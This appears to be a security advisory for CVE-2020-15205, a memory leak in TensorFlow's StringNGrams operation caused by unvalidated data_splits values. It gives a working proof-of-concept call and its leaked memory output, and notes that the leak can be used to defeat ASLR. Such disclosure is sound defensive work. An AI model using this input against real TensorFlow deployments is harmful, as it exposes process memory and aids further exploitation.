CVE-2020-15205: Data leak in Tensorflow
(updated )
The data_splits argument of tf.raw_ops.StringNGrams lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory
>>> tf.raw_ops.StringNGrams(data=["aa", "bb", "cc", "dd", "ee", "ff"], data_splits=[0,8], separator=" ", ngram_widths=[3], left_pad="", right_pad="", pad_width=0, preserve_short_sequences=False)
StringNGrams(ngrams=<tf.Tensor: shape=(6,), dtype=string, numpy=
array([b'aa bb cc', b'bb cc dd', b'cc dd ee', b'dd ee ff',
b'ee ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00',
b'ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00 \x9b~\xa8q\x7f\x00\x00p\xf5j\xa7q\x7f\x00\x00H\xf8j\xa7q\x7f\x00\x00\xf0\xf3\xf7\x85q\x7f\x00\x00`}\xa6\x00\x00\x00\x00\x00`~\xa6\x00\x00\x00\x00\x00\xb0~\xeb\x9bq\x7f\x00'],...
All the binary strings after ee ff are contents from the memory stack. Since these can contain return addresses, this data leak can be used to defeat ASLR.
